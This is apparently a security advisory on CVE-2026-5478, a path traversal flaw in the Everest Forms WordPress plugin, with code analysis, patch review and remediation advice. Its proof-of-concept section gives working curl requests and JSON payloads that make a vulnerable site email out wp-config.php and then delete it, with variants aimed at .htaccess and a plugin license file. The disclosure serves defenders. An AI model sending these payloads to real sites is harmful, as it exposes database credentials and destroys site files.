Everest Forms WordPress plugin banner

CVE-2026-5478: Path Traversal File Read in Everest Forms

Updated 13 min read

CVE-2026-5478 is a CVSS 8.1 (High) unauthenticated path traversal vulnerability in the Everest Forms WordPress plugin. An unauthenticated attacker can inject a path-traversal payload into the old_files parameter of any public form submission. The plugin then attaches the targeted files — including wp-config.php — to the admin notification email. After the email is sent, that code also calls unlink(), permanently deleting the file from the server.

Vulnerability Summary

FieldValue
Plugin NameEverest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
Plugin Slugeverest-forms
CVE IDCVE-2026-5478
CVSS Score8.1 (High)
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Read and Deletion via Path Traversal
Affected Versions<= 3.4.4
Patched Version3.4.5
PublishedApril 20, 2026
Researcherll
Wordfence AdvisoryLink

Description

The Everest Forms plugin for WordPress is vulnerable to Arbitrary File Read and Deletion in all versions up to, and including, 3.4.4. The plugin treats old_files data from public form submissions as trusted server state. It converts those URLs into local filesystem paths using simple regex replacement — without canonicalization (resolving .. to the real path) or checking that the result stays inside the uploads folder.

Unauthenticated attackers can inject path-traversal payloads into old_files. The plugin attaches the targeted files — including wp-config.php — to the admin notification email. The same path resolution runs in the post-email cleanup routine. After sending the email, the plugin calls unlink() on that path — permanently deleting the file.

This can lead to full site compromise through disclosure of database credentials and authentication salts from wp-config.php, and denial of service through deletion of critical files.

However, three conditions must be met for the attack to work.

Prerequisite: The Everest Forms Save and Continue addon must be active (defines EVF_SAVE_AND_CONTINUE_VERSION), the form must contain a file-upload or image-upload field, and the form setting “Disable storing entry information” (disabled_entries = 1) must be enabled.

Technical Analysis

Vulnerable Code Path

Step 1 — Reading old_files from POST with no sanitization

File: includes/class-evf-form-task.php (line 546–548)

if ( in_array( $field_type, array( 'file-upload', 'image-upload' ) ) && defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
    $field_submit['new_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_' . $field_id ] ) : array();
    $field_submit['old_files'] = isset( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) ? stripslashes_deep( $_POST[ 'everest_forms_' . $form_id . '_old_' . $field_id ] ) : array();

stripslashes_deep() only removes backslash escaping — it does not validate the content. An unauthenticated attacker can supply any array of JSON strings in everest_forms_{form_id}_old_{field_id}[].

Step 2 — Merging injected old_files into $data without URL validation

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1306–1318)

if ( isset( $field_submit['old_files'] ) ) {

    $old_data = array_map(
        function ( $file ) {
            $decoded = json_decode( $file, true );
            return is_array( $decoded ) ? $decoded : array();
        },
        $field_submit['old_files']
    );

    $data = array_merge( $data, $old_data );
}

The plugin decodes each JSON string from old_files and merges the resulting array directly into $data. No checks are performed on $decoded['value'] — an attacker-supplied URL like https://victim.com/wp-content/../wp-config.php is accepted without modification.

Step 3 — Path traversal in attach_entry_files_upload() for file read

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1660–1669)

} elseif ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
    foreach ( $meta_value['value_raw'] as $file_data ) {
        if ( isset( $file_data['value'] ) ) {
            $file_url      = $file_data['value'];
            $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );

            if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
                $entry_files[] = $uploaded_file;
            }
        }
    }
}

For an injected URL of https://victim.com/wp-content/../wp-config.php, the path resolution works like this:

  1. wp_parse_url($file_url, PHP_URL_PATH)/wp-content/../wp-config.php
  2. preg_replace('/.*wp-content/', 'wp-content', ...)wp-content/../wp-config.php
  3. ABSPATH . 'wp-content/../wp-config.php'/var/www/html/wp-content/../wp-config.php
  4. The OS resolves .. during file_exists(), finding /var/www/html/wp-config.php
  5. The file is added to $entry_files and attached to the notification email

File: includes/abstracts/class-evf-form-fields-upload.php (lines 1574–1583)

if ( isset( $meta_value['type'] ) && ( 'file-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) || 'image-upload' === $meta_value['type'] && isset( $meta_value['value_raw'] ) ) ) {
    foreach ( $meta_value['value_raw'] as $file_data ) {
        if ( isset( $file_data['value'] ) ) {
            $file_url = $file_data['value'];

            $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
            if ( file_exists( $uploaded_file ) ) {
                unlink( $uploaded_file );
            }
        }
    }
}

The identical path resolution runs in the post-email cleanup routine. After the notification email is delivered with wp-config.php as an attachment, unlink() is called on the traversal-resolved path, permanently deleting the file.

Hook registrations connecting the above

File: includes/abstracts/class-evf-form-fields-upload.php (lines 41–43)

add_filter( 'everest_forms_email_file_attachments', array( $this, 'send_file_as_email_attachment' ), 99, 6 );
add_action( 'everest_forms_remove_attachments_after_send_email', array( $this, 'remove_csv_file_after_email_send' ), 10, 6 );

send_file_as_email_attachment calls attach_entry_files_upload() (the file read step) when disabled_entries = 1. remove_csv_file_after_email_send (the deletion step) fires immediately after the email is sent.

Root Cause

The root cause is trusting attacker-supplied file references without boundary enforcement. The old_files POST parameter is designed to carry references to previously-uploaded files during a multi-step “Save and Continue” session. The plugin decodes these references and uses them as the real filesystem paths with no validation that the resolved path stays within the WordPress uploads directory. The regex preg_replace('/.*wp-content/', 'wp-content', ...) strips the URL origin but keeps .. path segments intact. The OS then resolves those segments when file_exists() and unlink() run.

Why Existing Controls Failed

  • Nonce check (wp_verify_nonce): The nonce (_wpnonce{form_id}) is embedded in the public form’s HTML. Any visitor can retrieve it, so it protects only against CSRF, not unauthenticated exploitation.
  • evf_sanitize_entry(): For file-upload and image-upload fields, the sanitizer passes array values through as-is (is_array($entry['form_fields'][$key]) ? $entry['form_fields'][$key] : ...). Even if old_files were inside this data, it would not be sanitized.
  • stripslashes_deep() on POST: Strips backslashes only; does not validate URL structure or path contents.
  • esc_url_raw() (applied to some fields): Does not remove .. directory traversal segments from URL paths.

Attack Impact

An unauthenticated attacker with access to a public form can:

  • Read arbitrary local files — attach any file readable by the web server process to a notification email sent to the form owner, including wp-config.php (database credentials, authentication keys and salts, table prefix).
  • Delete arbitrary local files — permanently unlink() any file reachable by the web server, including wp-config.php, index.php, .htaccess, or WordPress core files, leading to full site denial of service.
  • Chain into full site takeover — extracted wp-config.php credentials may be used for direct database access, authentication bypass, or privilege escalation.

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

  • WordPress installation with the everest-forms plugin installed and activated (version <= 3.4.4)
  • Everest Forms Save and Continue addon installed and active
  • A published form containing at least one File Upload or Image Upload field
  • The form’s “Disable storing entry information” setting is enabled (disabled_entries = 1)
  • The form has an email notification connection configured (for file read via attachment)
  • FORM_ID — the numeric ID of the target form (visible in the form’s URL in wp-admin or in the form shortcode)
  • FIELD_ID — the ID of the file-upload field (visible in the field’s “Advanced” tab in the form builder, e.g. everest_forms_field_0)
  • SITE_URL — the target WordPress site URL

Step-by-Step Reproduction

Step 1: Retrieve the form submission nonce

Visit any page where the form is embedded and extract the nonce from the form HTML:

SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"

# Fetch the page and extract the nonce (adjust the grep pattern to match your form ID)
curl -s "$SITE_URL/contact/" | grep -oP "_wpnonce${FORM_ID}\s*value=\"\K[^\"]*"

Note the nonce value as NONCE.

Step 2: Craft the malicious old_files payload

The payload is a JSON-encoded file reference where value contains a path-traversal URL pointing to wp-config.php. The hostname in the URL must match the target site (the plugin does not validate the origin strictly — only the path is used):

# Craft the JSON payload that will traverse from wp-content to wp-config.php
PAYLOAD='{"value":"https://victim.example.com/wp-content/../wp-config.php","name":"wp-config.php","file_name_new":"wp-config.php","file_url":"https://victim.example.com/wp-content/../wp-config.php","type":"file-upload"}'

Step 3: Submit the form with the injected old_files parameter

SITE_URL="https://victim.example.com"
FORM_ID=1
FIELD_ID="everest_forms_field_0"
NONCE="<nonce from Step 1>"

curl -s -X POST "$SITE_URL/wp-admin/admin-ajax.php" \
  -d "action=everest_forms_submit" \
  -d "everest_forms[id]=$FORM_ID" \
  -d "_wpnonce${FORM_ID}=$NONCE" \
  -d "everest_forms[form_fields][${FIELD_ID}][]=" \
  --data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"

Alternatively, if the form submits to a page URL (non-AJAX):

curl -s -X POST "$SITE_URL/contact/" \
  -d "everest_forms[id]=$FORM_ID" \
  -d "_wpnonce${FORM_ID}=$NONCE" \
  -d "everest_forms[form_fields][${FIELD_ID}][]=" \
  --data-urlencode "everest_forms_${FORM_ID}_old_${FIELD_ID}[]=${PAYLOAD}"

Step 4: (File Deletion variant) — Trigger deletion without read

If the form does NOT have notification email configured but disabled_entries = 1 is set, the deletion still fires via remove_csv_file_after_email_send. Submitting the same payload will cause unlink() to be called on the resolved path after any email attempt, deleting wp-config.php.

To target a different critical file, change the value field. Examples:

# Delete .htaccess
'{"value":"https://victim.example.com/wp-content/../.htaccess","name":".htaccess",...}'

# Read/delete a plugin's license key file
'{"value":"https://victim.example.com/wp-content/../wp-content/plugins/some-plugin/license.key","name":"license.key",...}'

Expected Result

  • File Read: The form owner’s notification email arrives with wp-config.php as an attachment. The email body is the standard form submission notification; the attachment contains the full plaintext content of wp-config.php, including DB_NAME, DB_USER, DB_PASSWORD, AUTH_KEY, SECURE_AUTH_KEY, and all authentication salts.
  • File Deletion: wp-config.php is permanently deleted from the server. WordPress will then present a fresh-install screen to all visitors (wp-config.php missing causes WordPress to redirect to the installer), causing a full denial of service.

Verification

For file read:

  • Check the form owner’s inbox for a notification email with an unexpected file attachment
  • The attachment contains the wp-config.php content

For file deletion:

  • After submitting, attempt to load the WordPress site — if wp-config.php was deleted, WordPress will show the setup wizard (wp-admin/setup-config.php redirect)
  • Alternatively: ls -la /path/to/wordpress/wp-config.php — the file will be absent

Patch Analysis

What Changed

The fix is concentrated in two files:

  1. includes/abstracts/class-evf-form-fields-upload.php — core path-validation logic
  2. includes/class-evf-form-task.php — defense-in-depth: sanitize $field_submit before populating from POST

Fix Explanation

New method: resolve_uploads_file_from_url() (3.4.5, line 1759)

The patch introduces a dedicated validation method that enforces strict directory boundary checking:

protected function resolve_uploads_file_from_url( $file_url ) {
    if ( empty( $file_url ) || ! is_string( $file_url ) ) {
        return false;
    }

    $file_url        = esc_url_raw( $file_url );
    $upload_dir      = wp_get_upload_dir();
    $uploads_baseurl = trailingslashit( $upload_dir['baseurl'] );
    $uploads_basedir = wp_normalize_path( trailingslashit( $upload_dir['basedir'] ) );

    // Must start with the uploads base URL — rejects wp-config, .htaccess, etc.
    if ( 0 !== strpos( $file_url, $uploads_baseurl ) ) {
        return false;
    }

    $path      = wp_parse_url( $file_url, PHP_URL_PATH );
    $base_path = wp_parse_url( $uploads_baseurl, PHP_URL_PATH );

    if ( ! is_string( $path ) || ! is_string( $base_path ) || 0 !== strpos( $path, $base_path ) ) {
        return false;
    }

    $relative_path = ltrim( substr( $path, strlen( $base_path ) ), '/' );
    $candidate     = wp_normalize_path( $uploads_basedir . $relative_path );
    $resolved_path = realpath( $candidate );   // canonicalization — resolves ..

    if ( false === $resolved_path ) {
        return false;
    }

    $resolved_path = wp_normalize_path( $resolved_path );

    // After canonicalization, path must STILL be inside uploads dir
    if ( 0 !== strpos( $resolved_path, $uploads_basedir ) || ! is_file( $resolved_path ) ) {
        return false;
    }

    return $resolved_path;
}

The key defense is realpath() followed by strpos($resolved_path, $uploads_basedir): after all .. segments are resolved, the canonical path must remain inside uploads/. Any traversal attempt that escapes the uploads directory causes the method to return false, and the caller skips the file.

format() method — validated old_files merging (3.4.5, lines 1362–1386)

if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {

    $validated_old_data = array();

    foreach ( $field_submit['old_files'] as $file ) {
        $decoded = json_decode( $file, true );

        if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
            continue;
        }

        $resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );

        if ( false === $resolved_path ) {
            continue;    // reject traversal payloads
        }

        $decoded['value']     = esc_url_raw( $decoded['value'] );
        $validated_old_data[] = $decoded;
    }

    if ( ! empty( $validated_old_data ) ) {
        $data = array_merge( $data, $validated_old_data );
    }
}

class-evf-form-task.php — defense-in-depth unset (3.4.5)

if ( in_array( $field_type, array( 'file-upload', 'image-upload' ), true ) ) {
    if ( is_array( $field_submit ) ) {
        unset( $field_submit['old_files'], $field_submit['new_files'] );  // clear any injected values
    }

    if ( defined( 'EVF_SAVE_AND_CONTINUE_VERSION' ) ) {
        // ... then re-populate from POST
    }
}

The patch unconditionally clears old_files and new_files from $field_submit. It re-populates them only when the Save and Continue addon is active. This ensures no stale or injected values reach the format() call.

Is the fix complete? Yes. The combination of:

  1. realpath() canonicalization before directory boundary check
  2. Strict strpos($resolved_path, $uploads_basedir) check post-canonicalization
  3. Proactive unset() of old_files/new_files in the task handler

closes the traversal vector at every point in the execution chain. The deleted_files processing in the task handler was also similarly hardened with uploads_baseurl prefix checks.

Code Diff (Key Changes)

-		if ( isset( $field_submit['old_files'] ) ) {
-
-			$old_data = array_map(
-				function ( $file ) {
-					$decoded = json_decode( $file, true );
-
-					return is_array( $decoded ) ? $decoded : array();
-				},
-				$field_submit['old_files']
-			);
-
-			$data = array_merge( $data, $old_data );
-		}
+		if ( isset( $field_submit['old_files'] ) && is_array( $field_submit['old_files'] ) ) {
+
+			$validated_old_data = array();
+
+			foreach ( $field_submit['old_files'] as $file ) {
+				$decoded = json_decode( $file, true );
+
+				if ( ! is_array( $decoded ) || empty( $decoded['value'] ) || ! is_string( $decoded['value'] ) ) {
+					continue;
+				}
+
+				$resolved_path = $this->resolve_uploads_file_from_url( $decoded['value'] );
+
+				if ( false === $resolved_path ) {
+					continue;
+				}
+
+				$decoded['value']     = esc_url_raw( $decoded['value'] );
+				$validated_old_data[] = $decoded;
+			}
+
+			if ( ! empty( $validated_old_data ) ) {
+				$data = array_merge( $data, $validated_old_data );
+			}
+		}
-    $uploaded_file = ABSPATH . preg_replace( '/.*wp-content/', 'wp-content', wp_parse_url( $file_url, PHP_URL_PATH ) );
-    if ( ! in_array( $uploaded_file, $entry_files ) && file_exists( $uploaded_file ) ) {
-        $entry_files[] = $uploaded_file;
+    $resolved = $this->resolve_uploads_file_from_url( $file_url );
+    if ( false !== $resolved && ! in_array( $resolved, $entry_files ) ) {
+        $entry_files[] = $resolved;

Timeline

DateEvent
UnknownVulnerability discovered and reported by researcher “ll”
April 20, 2026Publicly disclosed by Wordfence
April 20, 2026Patched version 3.4.5 released

Remediation

Update the everest-forms plugin to version 3.4.5 or later.

If an immediate update is not possible:

  • Disable the Everest Forms Save and Continue addon
  • Or disable the “Disable storing entry information” setting on all forms that have file-upload or image-upload fields

References

  1. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1306
  2. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1665
  3. https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.4/includes/abstracts/class-evf-form-fields-upload.php#L1581
  4. https://plugins.trac.wordpress.org/changeset/3507814/everest-forms
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee